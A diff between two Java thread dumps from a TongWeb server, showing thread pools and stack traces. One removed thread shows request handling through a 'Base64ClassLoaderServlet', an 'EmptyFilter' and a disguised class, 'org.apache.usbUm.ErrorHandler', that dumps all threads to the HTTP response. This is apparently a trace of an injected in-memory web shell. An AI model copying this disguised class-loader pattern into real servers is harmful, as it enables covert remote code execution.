+ at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
-"http-nio-0.0.0.0-8080-exec-7" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227
+"http-nio-0.0.0.0-9060-exec-7" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -999,23 +937,17 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"main" #1 [RUNNABLE]
+"RMI TCP Accept-0" #13 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
at java.net.ServerSocket.accept(ServerSocket.java:528)
- at com.tongweb.web.thor.core.ThorStandardServer.await(ThorStandardServer.java:176)
- at com.tongweb.web.thor.startup.Catalina.await(Catalina.java:767)
- at com.tongweb.web.thor.startup.Tomee.start(Tomee.java:794)
- at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
- at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
- at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
- at java.lang.reflect.Method.invoke(Method.java:498)
- at com.tongweb.web.thor.startup.ThorBootstrap.start(ThorBootstrap.java:352)
- at com.tongweb.web.thor.startup.ThorBootstrap.main(ThorBootstrap.java:495)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+ at java.lang.Thread.run(Thread.java:750)
-"WebSocketClient-AsyncIO-10" #151 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e
+"WebSocketClient-AsyncIO-1" #130 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -1027,25 +959,67 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"DefaultQuartzScheduler_Worker-1" #157 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@3fc59308
+"DefaultQuartzScheduler_Worker-9" #150 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@1a870b0b
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
-"http-nio-0.0.0.0-9060-ClientPoller-0" #100 daemon [RUNNABLE]
+"http-nio-8443-exec-4" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"WebSocketClient-AsyncIO-4" #133 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI Reaper" #14 [WAITING] on java.lang.ref.ReferenceQueue$Lock@2b1d2499
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
+ at java.lang.Thread.run(Thread.java:750)
+
+"NioBlockingSelector.BlockPoller-3" #23 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218)
- at java.lang.Thread.run(Thread.java:750)
+ at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328)
-"Signal Dispatcher" #4 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
+"ajp-bio-8009-exec-2" #118 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
-"http-nio-8443-exec-5" #120 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c
+"http-nio-0.0.0.0-9060-exec-6" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -1058,16 +1032,20 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"NioBlockingSelector.BlockPoller-2" #22 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328)
+"http-nio-0.0.0.0-8080-exec-4" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
-"http-nio-8443-exec-1" #116 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c
+"http-nio-0.0.0.0-9060-exec-1" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -1080,53 +1058,30 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-8080-exec-3" #105 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.lang.Thread.dumpThreads(Native Method)
- at java.lang.Thread.getAllStackTraces(Thread.java:1615)
- at org.apache.usbUm.ErrorHandler.toString(BasicInfoPrinter.java:26)
- at java.lang.String.valueOf(String.java:2994)
- at com.tongweb.web.thor.connector.CoyoteWriter.print(CoyoteWriter.java:248)
- at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
- at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305)
- at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
- at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:52)
- at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
- at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
- at EmptyFilter.doFilter(EmptyFilter.java:21)
- at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
- at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
- at com.tongweb.web.thor.core.ThorStandardWrapperValve.invoke(ThorStandardWrapperValve.java:202)
- at com.tongweb.web.thor.core.StandardContextValve.invoke(StandardContextValve.java:123)
- at com.tongweb.twnt.thor.OpenEJBValve.invoke(OpenEJBValve.java:46)
- at com.tongweb.web.thor.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472)
- at com.tongweb.web.thor.core.ThorStandardHostValve.invoke(ThorStandardHostValve.java:69)
- at com.tongweb.web.thor.valves.AccessLogValve.invoke(AccessLogValve.java:929)
- at com.tongweb.web.thor.valves.ErrorReportValve.invoke(ErrorReportValve.java:99)
- at com.tongweb.web.thor.core.StandardEngineValve.invoke(StandardEngineValve.java:118)
- at com.tongweb.web.thor.connector.CoyoteAdapter.service(CoyoteAdapter.java:411)
- at com.tongweb.web.oro.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1017)
- at com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:589)
- at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1767)
- at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1744)
+"WebSocketClient-AsyncIO-7" #136 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-9060-exec-9" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64
+"JCA-default-thread-pool-worker-7" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-5" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9
+"JCA-default-thread-pool-worker-6" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -1137,37 +1092,36 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-9060-exec-10" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64
+"JCA-default-thread-pool-worker-1" #44 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"WebSocketClient-AsyncIO-4" #145 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e
+"JCA-default-thread-pool-worker-9" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
- at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"DefaultQuartzScheduler_Worker-6" #162 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@e4fdb93
+"RMI RenewClean-[172.17.0.4:43229]" #18 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@ca52dfd
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
- at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
+ at java.lang.Thread.run(Thread.java:750)
-"http-nio-8443-exec-8" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c
+"http-nio-8443-exec-1" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -1180,7 +1134,7 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-8080-exec-2" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227
+"http-nio-8443-exec-3" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -1193,18 +1147,44 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-1" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9
+"WebSocketClient-AsyncIO-2" #131 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-7" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-7" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9
+"DefaultQuartzScheduler_Worker-2" #143 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@23e2e12b
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
+
+"persistence" #138 daemon [WAITING] on com.tongweb.monitor.persistence.TaskQueue@7780a178
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at com.tongweb.monitor.persistence.TimerThread.mainLoop(MonitorTimer.java:429)
+ at com.tongweb.monitor.persistence.TimerThread.run(MonitorTimer.java:408)
+
+"JCA-default-thread-pool-worker-8" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -1215,15 +1195,47 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-8443-Acceptor-0" #128 daemon [RUNNABLE]
+"main" #1 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
- at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859)
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at com.tongweb.web.thor.core.ThorStandardServer.await(ThorStandardServer.java:176)
+ at com.tongweb.web.thor.startup.Catalina.await(Catalina.java:767)
+ at com.tongweb.web.thor.startup.Tomee.start(Tomee.java:794)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at com.tongweb.web.thor.startup.ThorBootstrap.start(ThorBootstrap.java:352)
+ at com.tongweb.web.thor.startup.ThorBootstrap.main(ThorBootstrap.java:495)
+
+"DefaultQuartzScheduler_Worker-7" #148 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@66283ce3
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
+
+"Thread-38" #153 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66273f08
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"ajp-bio-8009-exec-7" #135 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7
+"persistence" #139 daemon [WAITING] on java.util.TaskQueue@24dcf6b9
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"ajp-bio-8009-exec-3" #119 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -1236,19 +1248,25 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"WebSocketClient-AsyncIO-9" #150 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e
+"DefaultQuartzScheduler_Worker-1" #142 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@27c4bb3
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
+
+"http-nio-8443-exec-8" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
- at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
